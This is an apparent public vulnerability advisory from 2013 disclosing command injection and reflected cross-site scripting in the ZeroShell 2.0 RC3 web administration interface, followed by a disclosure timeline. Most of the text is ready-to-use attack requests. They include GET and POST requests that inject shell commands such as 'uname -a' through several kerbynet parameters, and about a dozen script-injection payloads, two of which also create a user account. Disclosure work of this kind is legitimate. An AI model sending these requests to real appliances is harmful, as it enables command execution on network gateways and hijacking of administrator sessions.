ZeroShell 2.0 RC3 Command Injection / Cross Site Scripting

`-----------  
Author:  
-----------  
  
xistence < xistence[at]0x90[.]nl >  
  
-------------------------  
Affected products:  
-------------------------  
  
ZeroShell 2.0 RC3  
  
-------------------------  
Affected vendors:  
-------------------------  
  
ZeroShell  
http://www.zeroshell.org/download/  
  
-------------------------  
Product description:  
-------------------------  
  
Zeroshell is a Linux distribution for servers and embedded devices aimed at  
providing the main network services a LAN requires.  
It is available in the form of Live CD or Compact Flash image and you can  
configure and administer it using your web browser.  
The main features of this Linux distribution for Network Appliances are  
listed below:  
  
----------  
Details:  
----------  
  
ZeroShell 2.0 RC3 is prone to multiple vulnerabilities. Below are the  
details.  
  
[ 0x01 - Command Injection ]  
  
Command injection (will show linux "uname -a" in response)  
  
GET requests:  
/cgi-bin/kerbynet?STk=INSERT-STk-TOKEN-HERE&Action=Render&Object=acctEntries&Filter=%26uname%20-a%26  
/cgi-bin/kerbynet?STk=INSERT-STk-TOKEN-HERE&Section=Router&Action=CheckIPPING&IP=%26uname%20-a%26  
/cgi-bin/kerbynet?STk=INSERT-STk-TOKEN-HERE&Section=Network&Action=ShowInterface&Interface=%26uname%20-a%26  
  
POST Request:  
  
POST /cgi-bin/kerbynet HTTP/1.1  
Host: 192.168.0.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Length: 156  
  
Section=LOG&Action=Header&STk=INSERT-STk-TOKEN-HERE&Page=&Year=%26uname%20-a%26&Month=Aug&Day=14&Host=zeroshell&Process=ConnTrack&Filter=  
  
  
[ 0x02 - Reflected XSS ]  
  
/cgi-bin/kerbynet?Section=DNS&STk=INSERT-STk-TOKEN-HERE&Action=Lookup&DNS="><script>alert('XSS')</script>  
/cgi-bin/kerbynet?Section=LOG&STk=INSERT-STk-TOKEN-HERE&Action=Header&Process=&Filter="%3balert('XSS')//  
/cgi-bin/kerbynet?Action=Render&STk=INSERT-STk-TOKEN-HERE&Object=<script>alert('XSS')</script>&Page=1&ManSection=1  
/cgi-bin/kerbynet?Action=Render&STk=INSERT-STk-TOKEN-HERE&Object=man_page&Page=</title><script>alert('XSS')</script>&ManSection=1  
/cgi-bin/kerbynet?Section=LOG&STk=INSERT-STk-TOKEN-HERE&Action=Header&Process=<script>alert('XSS')</script>&Filter=  
/cgi-bin/kerbynet?Section=Acct&STk=INSERT-STk-TOKEN-HERE&Action=ViewCredit&Username="><script>alert('XSS')</script>  
/cgi-bin/kerbynet?Action=Lookup&STk=INSERT-STk-TOKEN-HERE&Section=DNS&What="><script>alert('XSS')</script>&DNS=localhost  
/cgi-bin/kerbynet?Section=LOG&Action=Header&STk=INSERT-STk-TOKEN-HERE&Page=&Year=<script>alert('XSS')</script>&Month=Aug&Day=14&Host=zeroshell&Process=ConnTrack&Filter=  
/cgi-bin/kerbynet?type="><script>alert('XSS')</script>&x509cn=woot&Action=Edit&STk=INSERT-STk-TOKEN-HERE&Section=K5&Validity=730&nbit=2048&IncludeKey=Yes&Format=pfx  
/cgi-bin/kerbynet?B1=Submit&Section=User&Action=SaveAdd&STk=INSERT-STk-TOKEN-HERE&user_sel="><script>alert('XSS')</script>&type=user&x509cn=&shadowExpire=&UpdateExpire=no&uid=woot&uidNumber=1337&primaryGroup=&gidNumber=&homeDirectory=%2Fhome%2Fwoot&shell=sh&loginShell=%2Fbin%2Fsh&givenName=woot&sn=woot&o=&gecos=woot+woot&mail=&telephoneNumber=&Expiration_date_mm=&Expiration_date_dd=&Expiration_date_yyyy=&ClassName=DEFAULT&PW=wootwoot&CoPW=wootwoot&K5=yes&vlan=&WIFI=yes  
/cgi-bin/kerbynet?B1=Submit&Section=User&Action=SaveAdd&STk=INSERT-STk-TOKEN-HERE&user_sel=&type=user&x509cn="><script>alert('XSS')</script>&shadowExpire=&UpdateExpire=no&uid=woot&uidNumber=1337&primaryGroup=&gidNumber=&homeDirectory=%2Fhome%2Fwoot&shell=sh&loginShell=%2Fbin%2Fsh&givenName=woot&sn=woot&o=&gecos=woot+woot&mail=&telephoneNumber=&Expiration_date_mm=&Expiration_date_dd=&Expiration_date_yyyy=&ClassName=DEFAULT&PW=wootwoot&CoPW=wootwoot&K5=yes&vlan=&WIFI=yes  
  
-----------  
Solution:  
-----------  
  
No fix available, use a good WAF :)  
  
--------------  
Timeline:  
--------------  
  
2013-09-14 Provided details to ZeroShell.  
2013-09-14 Response from ZeroShell that these are not vulnerabilities...  
*sigh*  
2013-10-04 Public disclosure.  
`